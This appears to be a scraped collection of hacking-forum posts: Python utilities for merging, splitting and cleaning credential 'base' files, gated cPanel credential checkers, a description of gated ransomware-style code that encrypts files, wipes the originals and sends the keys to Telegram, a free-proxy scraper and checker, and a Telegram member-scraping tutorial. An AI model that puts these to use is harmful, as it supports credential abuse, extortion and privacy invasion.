output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
mode = input("Выберите режим работы ('manual' или 'from_file'): ").strip().lower()
delimiter = input("Введите разделитель для строки и пароля (например, ':', '|', '/', ';'): ").strip()
if not delimiter:
logger.error("ОШИБКА: Разделитель не указан.")
return
if mode == 'manual':
password = input("Введите пароль для добавления: ").strip()
append_passwords(input_file, output_file, mode, password=password, delimiter=delimiter)
elif mode == 'from_file':
passwords_file = input("Введите путь к файлу с паролями: ").strip()
append_passwords(input_file, output_file, mode, passwords_file=passwords_file, delimiter=delimiter)
else:
logger.error("ОШИБКА: Неверный режим. Используйте 'manual' или 'from_file'.")
logger.info("=" * 50)
logger.info("ЗАВЕРШЕНИЕ СКРИПТА")
logger.info("=" * 50)
except KeyboardInterrupt:
logger.warning("ВНИМАНИЕ: Операция прервана пользователем.")
except Exception as e:
logger.error(f"КРИТИЧЕСКАЯ ОШИБКА в основной функции: {e}")
if __name__ == "__main__":
main()
9. Объединение баз. (merge_databases.py) Выполнение слияния нескольких
текстовиков в один файл. Указываете директорию с текстовиками, на выходе
получаете один файл.
Код:
Python:Copy to clipboard
import os
import heapq
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("merge_databases.log", encoding="utf-8")
]
)
def merge_files_in_directory(directory: str, output_file: str):
"""
Сливает все файлы из указанной директории в один файл.
:param directory: Путь к директории с файлами для слияния
:param output_file: Имя выходного файла
"""
start_time = time.time()
logger.info(f"Начало слияния файлов. Директория: {directory}, Выходной файл: {output_file}")
try:
# Получаем список всех файлов в директории
temp_files = [os.path.join(directory, f) for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))]
if not temp_files:
logger.error(f"В указанной директории {directory} не найдено файлов для слияния.")
return
logger.info(f"Обнаружено {len(temp_files)} файлов для обработки.")
file_iters = []
total_lines_written = 0 # Счётчик строк
try:
# Открываем все файлы для чтения
for temp_file in temp_files:
logger.info(f"Открытие файла: {temp_file}")
file_iters.append(open(temp_file, 'r', encoding='utf-8', errors='replace'))
# Открываем выходной файл для записи
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
logger.info(f"Запись в файл: {output_file}")
# Записываем строки из всех файлов, используя merge
for line in heapq.merge(*[iter(f) for f in file_iters]):
outfile.write(line)
total_lines_written += 1
logger.info(f"Слияние завершено. Всего строк записано: {total_lines_written}")
except Exception as e:
logger.error(f"Ошибка при обработке файлов: {e}")
return
finally:
# Закрываем все открытые файлы
for f in file_iters:
logger.info(f"Закрытие файла: {f.name}")
f.close()
except Exception as e:
logger.error(f"Ошибка в процессе слияния: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
"""
Основная функция для выбора директории и вызова слияния.
"""
try:
logger.info("Запуск программы")
# Запрос директории и имени выходного файла у пользователя
directory = input("Введите путь к директории с файлами для слияния: ").strip()
output_file = input("Введите имя выходного файла (с расширением): ").strip()
if not os.path.isdir(directory):
logger.error(f"Указанный путь {directory} не является директорией.")
return
merge_files_in_directory(directory, output_file)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
10. Разделить один файл на несколько частей (split_database.py). Ну тут уже
идет реверс, отдаете один файл, указываете по какому количеству строк его
разбить, получаете несколько сплит файлов.
Код:
Python:Copy to clipboard
import os
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("split_database.log", encoding="utf-8")
]
)
def split_file(input_file: str, output_directory: str, lines_per_file: int):
"""
Разделяет файл на несколько частей с минимальным использованием памяти.
:param input_file: Путь к входному файлу
:param output_directory: Директория для сохранения разделённых файлов
:param lines_per_file: Количество строк в каждом выходном файле
"""
start_time = time.time()
logger.info(f"Начало разделения файла. Входной файл: {input_file}, Директория: {output_directory}, Строк на файл: {lines_per_file}")
try:
# Проверка входного файла
if not os.path.isfile(input_file):
logger.error(f"Файл {input_file} не найден или не является файлом.")
return
# Проверка выходной директории
if not os.path.exists(output_directory):
logger.info(f"Выходная директория {output_directory} не найдена. Создаём её.")
os.makedirs(output_directory)
# Итеративное чтение и запись
def file_iterator(file_path):
with open(file_path, 'r', encoding='utf-8', errors='replace') as file:
for line in file:
yield line
# Итератор для входного файла
file_iter = file_iterator(input_file)
file_index = 1
current_file = None
lines_written = 0
for line in file_iter:
if lines_written % lines_per_file == 0: # Новый файл
if current_file:
current_file.close()
logger.info(f"Закрыт файл: {current_file.name} (строк: {lines_written})")
output_file = os.path.join(output_directory, f"split_part_{file_index}.txt")
current_file = open(output_file, 'w', encoding='utf-8', errors='replace')
logger.info(f"Создан файл: {output_file}")
file_index += 1
lines_written = 0
current_file.write(line)
lines_written += 1
if current_file:
current_file.close()
logger.info(f"Закрыт файл: {current_file.name} (строк: {lines_written})")
except Exception as e:
logger.error(f"Ошибка в процессе разделения: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
"""
Основная функция для выбора входного файла, выходной директории и параметров разделения.
"""
try:
logger.info("Запуск программы")
# Запрос данных у пользователя
input_file = input("Введите путь к файлу для разделения: ").strip()
output_directory = input("Введите путь для сохранения разделённых файлов: ").strip()
lines_per_file = int(input("Введите количество строк в каждом выходном файле: ").strip())
split_file(input_file, output_directory, lines_per_file)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
11. Рандомизация строк в файле (randomize.py). Тут выполняется перемешивание
строк в файле который отдаете рандомным образом, на выходе получаете
рандомизированные позиции строк в файле.
Код:
Python:Copy to clipboard
import os
import random
import logging
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("randomize.log", encoding="utf-8")
]
)
def randomize_file(input_file: str, output_file: str, buffer_size: int):
"""
Перемешивает строки в файле случайным образом.
:param input_file: Путь к входному файлу
:param output_file: Путь к выходному файлу
:param buffer_size: Количество строк, загружаемых в память за раз
"""
start_time = time.time()
logger.info(f"Начало рандомизации файла. Входной файл: {input_file}, Выходной файл: {output_file}, Размер буфера: {buffer_size}")
try:
# Проверка входного файла
if not os.path.isfile(input_file):
logger.error(f"Файл {input_file} не найден или не является файлом.")
return
# Проверка выхода
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.info(f"Выходная директория {output_dir} не найдена. Создаём её.")
os.makedirs(output_dir)
# Чтение строк по частям
all_lines = []
with open(input_file, 'r', encoding='utf-8', errors='replace') as infile:
logger.info(f"Чтение строк из {input_file} с использованием буфера")
buffer = []
for line in infile:
buffer.append(line)
if len(buffer) >= buffer_size:
logger.debug(f"Загружен буфер из {len(buffer)} строк")
all_lines.extend(buffer)
buffer = []
if buffer:
all_lines.extend(buffer)
logger.info(f"Файл загружен в память. Всего строк: {len(all_lines)}")
# Перемешивание строк
random.shuffle(all_lines)
logger.info(f"Строки успешно перемешаны")
# Запись результата
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
logger.info(f"Запись перемешанных строк в {output_file}")
outfile.writelines(all_lines)
logger.info(f"Успешное завершение. Перемешанный файл сохранён в {output_file}")
except Exception as e:
logger.error(f"Ошибка при обработке: {e}")
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
"""
Основная функция для выбора входного и выходного файлов, а также настроек рандомизации.
"""
try:
logger.info("Запуск программы")
# Запрос данных у пользователя
input_file = input("Введите путь к файлу для рандомизации: ").strip()
output_file = input("Введите путь для сохранения перемешанного файла: ").strip()
buffer_size = int(input("Введите размер буфера (число строк, загружаемых за раз): ").strip())
randomize_file(input_file, output_file, buffer_size)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except ValueError:
logger.error("Ошибка: размер буфера должен быть числом.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
12. Копирование строк из текстового файла, работает с использованием
библиотеки pyperclip, так что не забудьте сделать pip install pyperclip==1.9.0
, работает в двух режимах: 1. Копирование строк из файла
полностью; 2. Копирование строк по диапазону из файла. Предупреждение:
следите за объемом ОЗУ при работе этого модуля.
Код:
Python:Copy to clipboard
import logging
import pyperclip # Для работы с буфером обмена
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("copy_to_clipboard.log", encoding="utf-8")
]
)
def read_file_lines(file_path, start_line=None, end_line=None):
"""
Генератор для чтения строк из файла с поддержкой диапазона.
:param file_path: Путь к файлу
:param start_line: Номер начальной строки (1-based, включительно)
:param end_line: Номер конечной строки (1-based, включительно)
"""
with open(file_path, 'r', encoding='utf-8', errors='replace') as f:
for current_line_num, line in enumerate(f, start=1):
if start_line and current_line_num < start_line:
continue
if end_line and current_line_num > end_line:
break
yield line.strip()
def copy_to_clipboard(file_path, start_line=None, end_line=None):
"""
Копирует содержимое файла или его части в буфер обмена.
:param file_path: Путь к файлу
:param start_line: Номер начальной строки (1-based, включительно)
:param end_line: Номер конечной строки (1-based, включительно)
"""
try:
logger.info(f"Начало копирования. Файл: {file_path}, Диапазон: {start_line}-{end_line}")
lines = list(read_file_lines(file_path, start_line, end_line))
if not lines:
logger.warning("Выбранный диапазон пуст.")
return
# Отображаем первую и последнюю строки диапазона
print(f"Первая строка: {lines[0]}")
print(f"Последняя строка: {lines[-1]}")
confirm = input("Скопировать в буфер обмена? (y/n): ").strip().lower()
if confirm != 'y':
print("Операция отменена пользователем.")
return
# Копируем в буфер обмена
pyperclip.copy('\n'.join(lines))
print("Данные скопированы в буфер обмена.")
logger.info("Копирование завершено успешно.")
except FileNotFoundError:
logger.error(f"Файл {file_path} не найден.")
except Exception as e:
logger.error(f"Ошибка в процессе копирования: {e}")
def main():
try:
logger.info("Запуск программы")
file_path = input("Введите путь к файлу: ").strip()
mode = input("Выберите режим (1 — весь файл, 2 — диапазон строк): ").strip()
if mode == '1':
copy_to_clipboard(file_path)
elif mode == '2':
start_line = int(input("Введите номер начальной строки: ").strip())
end_line = int(input("Введите номер конечной строки: ").strip())
copy_to_clipboard(file_path, start_line, end_line)
else:
print("Неверный выбор режима.")
logger.warning("Выбран неверный режим.")
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
13. Чистка текстового файла от мусора. Работает в 3х режимах по выбору (1. Разрешить все спецсимволы, 2. Разрешить только специальные символы (@, ., _, -), 3. Не разрешать спецсимволы)
Python:Copy to clipboard
import os
import logging
import time
import string
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("remove_non_latin.log", encoding="utf-8")
]
)
def is_latin_line(line: str, special_mode: str) -> bool:
"""
Проверяет, состоит ли строка из латинских символов и спецсимволов в зависимости от режима.
:param line: Входная строка
:param special_mode: Режим обработки спецсимволов:
- 'all' - разрешить все спецсимволы.
- 'custom' - разрешить только определенные спецсимволы.
- 'none' - не разрешать спецсимволы.
:return: True, если строка соответствует требованиям.
"""
# Основной набор символов: латинские буквы, цифры и пробелы
allowed_chars = string.ascii_letters + string.digits + ' '
if special_mode == 'all':
# Разрешаем все печатаемые символы
allowed_chars += string.punctuation
elif special_mode == 'custom':
# Разрешаем только указанные символы
allowed_chars += "@._-"
# special_mode == 'none': никаких дополнительных символов
return all(char in allowed_chars for char in line)
def line_generator(file_path: str):
"""
Генератор для построчного чтения файла.
:param file_path: Путь к файлу
"""
with open(file_path, 'r', encoding='utf-8', errors='replace') as file:
for line in file:
yield line.strip()
def clean_file(input_file: str, output_file: str, special_mode: str):
"""
Очищает файл, удаляя строки с нелатинскими символами или нежелательными символами.
:param input_file: Путь к входному файлу
:param output_file: Имя выходного файла
:param special_mode: Режим обработки спецсимволов ('all', 'custom', 'none')
"""
start_time = time.time()
logger.info(f"Начало очистки файла. Входной файл: {input_file}, Выходной файл: {output_file}, "
f"Режим спецсимволов: {special_mode}")
try:
# Проверяем наличие директории для выходного файла
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
logger.info(f"Выходная директория {output_dir} не найдена. Создаём её.")
os.makedirs(output_dir)
total_lines = 0 # Общее количество строк
kept_lines = 0 # Количество оставленных строк
removed_lines = 0 # Количество удаленных строк
# Открываем файл для записи
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
for line in line_generator(input_file):
total_lines += 1
if is_latin_line(line, special_mode):
outfile.write(line + '\n')
kept_lines += 1
else:
removed_lines += 1
logger.info(f"Очистка завершена. Обработано строк: {total_lines}, Сохранено строк: {kept_lines}, "
f"Удалено строк: {removed_lines}")
except FileNotFoundError:
logger.error(f"Файл {input_file} не найден.")
return
except Exception as e:
logger.error(f"Ошибка в процессе очистки: {e}")
return
finally:
# Рассчитываем время выполнения
end_time = time.time()
elapsed_time = end_time - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def main():
try:
logger.info("Запуск программы")
# Запрос параметров у юзера
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
print("Выберите режим обработки спецсимволов:")
print("1 - Разрешить все спецсимволы")
print("2 - Разрешить только специальные символы (@, ., _, -)")
print("3 - Не разрешать спецсимволы")
special_mode_choice = input("Введите номер режима (1, 2 или 3): ").strip()
special_mode = ''
if special_mode_choice == '1':
special_mode = 'all'
elif special_mode_choice == '2':
special_mode = 'custom'
elif special_mode_choice == '3':
special_mode = 'none'
else:
logger.error("Неверный выбор режима. Завершение программы.")
return
clean_file(input_file, output_file, special_mode)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
14. Изменение кодировки файла. Дисклеймер: Модуль может работать кривовато, на моих тестах вроде нормально преобразует, на ваших боевых файлах как работать будет не знаю. Юзать на свой страх и риск. По найденным ошибкам просьба отписаться в ПМ или в ветке. Поддерживает преобразование в следующие кодировки (исходная кодировка в теории у файла может быть любой):
Код:
Python:Copy to clipboard
import os
import logging
import chardet
import time
# Настройка логгера
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.StreamHandler(),
logging.FileHandler("format_database.log", encoding="utf-8")
]
)
POPULAR_ENCODINGS = [
"UTF-8", "UTF-16", "UTF-16LE", "UTF-16BE", "ASCII",
"Windows-1251", "ISO-8859-1", "KOI8-R", "GB18030", "Big5"
]
def detect_file_encoding(file_path, sample_size=262144):
"""
Определяет кодировку текстового файла.
:param file_path: Путь к файлу
:param sample_size: Количество байт для анализа
:return: Предполагаемая кодировка файла
"""
try:
with open(file_path, 'rb') as file:
raw_data = file.read(sample_size)
result = chardet.detect(raw_data)
detected_encoding = result.get('encoding', None)
confidence = result.get('confidence', 0)
logger.warning(f"Результат анализа кодировки: {result}")
if detected_encoding is None or detected_encoding.lower() == 'ascii':
logger.warning(f"Кодировка файла '{file_path}' не определена или определена как ASCII.")
print("Укажите предполагаемую кодировку (например, UTF-8, Windows-1251): ")
detected_encoding = input("Введите кодировку: ").strip()
elif confidence < 0.8:
logger.warning(f"Кодировка '{detected_encoding}' определена с низкой уверенностью ({confidence:.2f}).")
print("Обнаружена кодировка с низкой уверенностью. Хотите указать свою? (y/n): ")
if input().strip().lower() == 'y':
detected_encoding = input("Введите кодировку: ").strip()
logger.info(f"Обнаружена кодировка файла '{file_path}': {detected_encoding}")
return detected_encoding
except Exception as e:
logger.error(f"Ошибка определения кодировки файла {file_path}: {e}")
return 'utf-8'
def add_bom_if_needed(file_path, encoding):
"""
Добавляет BOM (маркер порядка байт) в файл, если кодировка поддерживает его.
:param file_path: Путь к файлу
:param encoding: Кодировка файла
"""
bom_map = {
"utf-8": b'\xef\xbb\xbf',
"utf-16": b'\xff\xfe', # UTF-16 LE по умолчанию
"utf-16le": b'\xff\xfe',
"utf-16be": b'\xfe\xff'
}
if encoding.lower() in bom_map:
logger.info(f"Добавление BOM для кодировки {encoding}")
bom = bom_map[encoding.lower()]
with open(file_path, 'rb') as f:
content = f.read()
with open(file_path, 'wb') as f:
f.write(bom + content)
logger.info(f"BOM успешно добавлен для файла: {file_path}")
def convert_file_encoding(input_file, output_file, target_encoding):
"""
Преобразует кодировку текстового файла построчно и добавляет BOM, если это необходимо.
:param input_file: Путь к входному файлу
:param output_file: Путь к выходному файлу
:param target_encoding: Целевая кодировка
"""
start_time = time.time()
logger.info(f"Начало преобразования кодировки. Входной файл: {input_file}, Целевая кодировка: {target_encoding}")
try:
source_encoding = detect_file_encoding(input_file)
output_dir = os.path.dirname(output_file)
if output_dir and not os.path.exists(output_dir):
os.makedirs(output_dir)
with open(input_file, 'r', encoding=source_encoding, errors='replace') as infile, \
open(output_file, 'w', encoding=target_encoding, errors='replace') as outfile:
for line in infile:
outfile.write(line.rstrip('\r\n') + '\n')
# Добавление BOM, если требуется
add_bom_if_needed(output_file, target_encoding)
logger.info(f"Преобразование завершено. Файл сохранён: {output_file}")
# Проверка записи
verify_result = verify_encoding(output_file)
logger.info(f"Кодировка выходного файла определена как: {verify_result.get('encoding')}")
except FileNotFoundError:
logger.error(f"Файл {input_file} не найден.")
except Exception as e:
logger.error(f"Ошибка в процессе преобразования: {e}")
finally:
elapsed_time = time.time() - start_time
logger.info(f"Время выполнения: {elapsed_time:.2f} секунд.")
def verify_encoding(file_path):
"""
Проверяет кодировку файла.
:param file_path: Путь к файлу
:return: Результаты анализа кодировки
"""
with open(file_path, 'rb') as f:
raw_data = f.read()
result = chardet.detect(raw_data)
return result
def main():
"""
Основная функция для выполнения программы.
"""
try:
logger.info("Запуск программы")
input_file = input("Введите путь к входному файлу (с расширением): ").strip()
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
print("Доступные кодировки:")
for i, encoding in enumerate(POPULAR_ENCODINGS, 1):
print(f"{i}. {encoding}")
while True:
try:
choice = int(input("Выберите номер целевой кодировки: "))
if 1 <= choice <= len(POPULAR_ENCODINGS):
target_encoding = POPULAR_ENCODINGS[choice - 1]
break
else:
print("Некорректный выбор. Попробуйте снова.")
except ValueError:
print("Введите корректный номер из списка.")
convert_file_encoding(input_file, output_file, target_encoding)
except KeyboardInterrupt:
logger.warning("Операция прервана пользователем.")
except Exception as e:
logger.error(f"Ошибка в основной функции: {e}")
if __name__ == "__main__":
main()
15. Нормализатор строк в файлах. Работает в 4-х режимах:
Код: Не влез в размер этого сообщения.
P.S. Модули можно использовать как по отдельности утилитами, так и через
основной файл из консольного меню.
P.S.S. Первую версию на публику прикрепил в атаче. По мере свободного времени
буду обновлять и исправлять найденные ошибки.
This first code is for text files of URL|USERNAME|PASSWORD formats
It will tell you how many domains are attached to each associated cPanel
You must have at least 10 reaction(s) to view the content.
Now this second one will ask you for a URL List, and a Username:Password List
You must have at least 5 reaction(s) to view the content.
ВНИМАНИЕ: Данный код алгоритма шифрования и дешифровки выложен исключительно в ознакомительных целях, всё что вы делаете на свой страх и риск.
Как работает код: Алгоритм сначала создает публичный (для шифрования
файлов) и приватный (для последующей дешифровки) ключ, шифрует все папки по
указанной директории в строке: walk("D:/crypto_test/")
, по публичному ключу,
потом удаляет безопасно исходные файлы без возможности их восстановления.
Отправляет все файлы (Информация об устройстве.txt
, private.pem
,
public.pem
) через bot_api телеги на указанный ID в коде.
Spoiler: Что приходит в ТГ
Spoiler: Что содержит в себе файл .txt
Нужные библиотеки для правильной работы:
Code:Copy to clipboard
pip install PyCryptodome
pip install aiogram
pip install secure_delete
Код для шифрования и отправки в Telegram:
crypt.py:
You must have at least 20 reaction(s) to view the content.
Код для дешифровки файлов:
decrypt.py:
You must have at least 20 reaction(s) to view the content.
Всем привет. Фантазии нет что написать, что было бы полезно написать на
питоне? Пишите в ветке, постараюсь помочь по возможности в свободное время.
Люблю писать клиентских ботов для ТГ, да вообще пофигу что писать (главное
чтобы это не нарушало никаких законов), для меня главное чтобы интересно было.
P.S. Мой девиз: Помогаешь другим, помогаешь себе.
P.S.S Желательно чтобы задача не превышала 500 строк кода.
**Доброго времени суток!
В данной статье я вам покажу, как можно добыть много прокси различных стран.
Приступим.
Для работы скрипта нам необходим Python. Установим 3.10.6
После установки Python, необходимо установить библиотеки для получения прокси
и их проверки на работоспособность
Spoiler: Установка библиотек
View attachment 105021
Вставляем следующий текст:
Код:
Code:Copy to clipboard
pip install requests && pip install lxml && pip install beautifulsoup4 && pip install cfscrape
После установки библиотек создаём файл с расширением .py, куда вставляем следующий код. Код отвечает за парспрокси с различных сайтов.
Python:Copy to clipboard
import cfscrape
from bs4 import BeautifulSoup
from datetime import date
def main2():
try:
print("Start 2 step || Site - free-proxy-list.net")
scraper = cfscrape.create_scraper()
r = scraper.get('https://free-proxy-list.net')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('table', class_='table table-striped table-bordered').find('tbody').find_all('tr')
for tr in line:
td = tr.find_all('td')
ip = td[0].text
port = td[1].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip + ":" + port + "\n"))
except Exception as e:
print(e)
def main3():
try:
print("Start 3 step || Site - free.proxy-sale.com")
scraper = cfscrape.create_scraper()
r = scraper.get('https://free.proxy-sale.com')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('div', class_="main__table-wrap").find('table').find('tbody').find_all('tr')
for i in line:
td = i.find_all('td', class_="ip")
for n in td:
a = n.find("a").text.replace("Нажмите ⌘-С чтобы скопировать Скопировать в буфер", " ").strip()
ip = a
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip + "\n"))
except Exception as e:
print(e)
def main4():
try:
print("Start 4 step || Site - proxyscrape.com and openproxylist.xyz")
scraper = cfscrape.create_scraper()
response5 = scraper.get("https://openproxylist.xyz/http.txt")
response6 = scraper.get("https://openproxylist.xyz/socks4.txt")
response7 = scraper.get("https://openproxylist.xyz/socks5.txt")
proxies5 = response5.text.strip()
proxies6 = response6.text.strip()
proxies7 = response7.text.strip()
with open("proxy_scraped.txt", "a") as txt_file:
txt_file.write(proxies5+"\n"+proxies6+"\n"+proxies7+"\n")
except Exception as e:
print(e)
def main5():
try:
print("Start 5 step || Site - hidemy.name")
scraper = cfscrape.create_scraper()
r = scraper.get('https://hidemy.name/ru/proxy-list/')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('div', class_="table_block").find('table').find('tbody').find_all('tr')
for a in line:
td = a.find_all('td')
ip = td[0].text
port = td[1].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip + ":" + port + "\n"))
except Exception as e:
print(e)
kol_st = 0
def main7():
try:
print("Start 7 step || Site - sslproxies.org")
scraper = cfscrape.create_scraper()
r = scraper.get(f'https://www.sslproxies.org/#list')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('table', class_="table table-striped table-bordered").find('tbody').find_all('tr')
for a in line:
td = a.find_all('td')
ip = td[0].text
port = td[1].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip + ":" + port + "\n"))
except Exception as e:
print(e)
def main8():
try:
print("Start 8 step || Site - spys.one")
scraper = cfscrape.create_scraper()
r = scraper.get(f'https://spys.one')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('table', cellspacing="0", cellpadding="2").find('table', cellspacing="1", cellpadding="1", align="left").find_all('tr', class_="spy1x", onmouseover="this.style.background='#002424'")
line2 = soup.find('table', cellspacing="0", cellpadding="2").find('table', cellspacing="1", cellpadding="1",align="left").find_all('tr', class_="spy1xx",onmouseover="this.style.background='#002424'")
for tr in line:
td = tr.find_all('td')
ip = td[0].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip + '\n'))
for tr2 in line2:
td2 = tr2.find_all('td')
ip2 = td2[0].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip2 + '\n'))
except Exception as e:
print(e)
def main10():
try:
print("Start 10 step || Site - userel.com")
scraper = cfscrape.create_scraper()
r = scraper.get(f'https://userel.com/')
soup = BeautifulSoup(r.text, 'lxml')
line = soup.find('div', class_="proxy").find('table').find_all('tr')
for tr in line:
td = tr.find_all('td')
ip = td[0].text
with open("proxy_scraped.txt", "a+", encoding="utf-8") as f:
f.write(str(ip) + '\n')
except Exception as e:
print(e)
def main11():
try:
print("Start 11 step || Site - ArchiveProxy")
scraper = cfscrape.create_scraper()
ear, month, day = str(date.today()).split('-')
ear = int(ear)
month = int(month)
day = int(day)
for today in range(day):
try:
scoc = scraper.get(f'https://checkerproxy.net/api/archive/{ear}-{month}-{today}').json()
except:
break
try:
for i in range(40000):
with open('proxy_scraped.txt', 'a+') as file:
file.write(scoc[i]['addr'] + '\n')
except:
pass
except Exception as e:
print(e)
if __name__ == "__main__":
main2()
main3()
main4()
main5()
main7()
main8()
main10()
main11()
print("Duplicates cleaning...")
with open("proxy_scraped.txt") as input_:
result = dict.fromkeys(input_).keys()
with open("proxy_scraped.txt", "w") as output:
print(*result, file=output, sep="")
print("Duplicates successfully cleared!")
После того, как вставили код, запускаете скрипт. Нужно подождать какое-то время, пока скрипт соберёт прокси с открытых сайтов, после чего он удалит дубликаты.
Теперь, когда у нас есть файл proxy_scraped.txt, создаём второй файл .py, куда вставляем следующий код. Этот код отвечает за проверку прокси на работоспособность, а также разделяет их по протоколам (socks, http), и сортирует их по странам.
Python:Copy to clipboard
import threading
import requests
import os
filename = input("FILENAME: ")
timeout = int(input("TIMEOUT: "))
x = 0
y = 0
def check_proxy(proxy):
global y
protocols = ['http', 'https', 'socks4', 'socks5']
for protocol in protocols:
try:
proxies = {protocol: f'{protocol}://{proxy}', 'https': f'{protocol}://{proxy}'}
response = requests.get('http://ip-api.com/json', proxies=proxies, timeout=timeout)
if response.status_code == 200:
data = response.json()
country = data['country']
folder_path = os.path.join('country', country)
file_path = os.path.join(folder_path, f'{protocol}.txt')
file_path2 = os.path.join(folder_path, 'ALL.txt')
file_path3 = os.path.join("ALL", "ALL.txt")
file_path4 = os.path.join("ALL", protocol)
os.makedirs(folder_path, exist_ok=True)
os.makedirs("ALL", exist_ok=True)
with open(file_path, 'a') as f: #country
f.write(f'{proxy}\n')
with open(file_path2, 'a') as f: #country all
f.write(f'{proxy}\n')
with open(f"{file_path4}.txt", 'a') as f:
f.write(f'{proxy}\n')
with open(file_path3, 'a') as f:
f.write(f'{proxy}\n')
y += 1
except:
pass
with open(filename, 'r') as f:
proxy_list = [line.strip() for line in f]
for i in proxy_list:
t = threading.Thread(target=check_proxy, args=(i,)).start()
x += 1
print(f"\r\rПроверенно: {x}/{len(proxy_list)} Good: {y}", end='')
Запускаем скрипт, и, после того, как чекер выполнит свою работу, он
отсортирует рабочие прокси по странам. Также, вы можете воспользоваться этим
чекером для проверки своих прокси.
прокси будут разделены по протоколам, а также, в папке с скриптом будет
создана папка "ALL", где будут все прокси без разделения по странам, и без
разделения по протоколам.
Данные прокси можно использовать как угодно. Выбор за вами!
Удачного дня!**
image by mystical antiquity
Hello guys , its LC again
today we are here again with another article about osint on telegram platform
-> part 2 of the telegram osint.
so lets don't waste the time and begin .
let's dive deeper into each section of the code, providing a clearer explanation of what each part does and how it contributes to the overall functionality of interacting with Telegram using the Telethon library.
Step-by-Step Explanation of the Python Script
1. Importing Necessary Libraries
Python:Copy to clipboard
from telethon.sync import TelegramClient
from telethon.tl.functions.messages import GetDialogsRequest, GetHistoryRequest
from telethon.tl.types import InputPeerEmpty
import csv
Explanation:
2. Setting Up API Credentials
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
phone = 'YOUR_PHONE_NUMBER'
api_id and api_hash: These are required for authenticating your application
with the Telegram API. You obtain them by creating a Telegram application at
Telegram
phone: Your registered phone number associated with your Telegram account,
used for connecting to Telegram through the API.
3. Creating and Connecting the Telegram Client
Python:Copy to clipboard
client = TelegramClient(phone, api_id, api_hash)
client.start()
Explanation:
4. Fetching Chats and Groups
Python:Copy to clipboard
chats = []
last_date = None
chunk_size = 200
groups = []
result = client(GetDialogsRequest(
offset_date=last_date,
offset_id=0,
offset_peer=InputPeerEmpty(),
limit=chunk_size,
hash=0
))
chats.extend(result.chats)
Explanation:
5. Filtering and Selecting a Target Group
Python:Copy to clipboard
for chat in chats:
try:
if chat.megagroup:
groups.append(chat)
except:
continue
Explanation:
6. Selecting a Group to Work With
Python:Copy to clipboard
print("Choose a group to scrape messages and members from:")
i = 0
for g in groups:
print(f"{i} - {g.title}")
i += 1
g_index = input("Enter the number of the group: ")
target_group = groups[int(g_index)]
Explanation:
_
7. Scraping Group Members_
Python:Copy to clipboard
print("Fetching members...")
all_participants = client.get_participants(target_group)
Explanation:
8. Saving Members to CSV
Python:Copy to clipboard
print("Saving members to file...")
with open("members.csv", "w", encoding="UTF-8") as f:
writer = csv.writer(f, delimiter=",", lineterminator="\n")
writer.writerow(["username", "name", "group", "id"])
for user in all_participants:
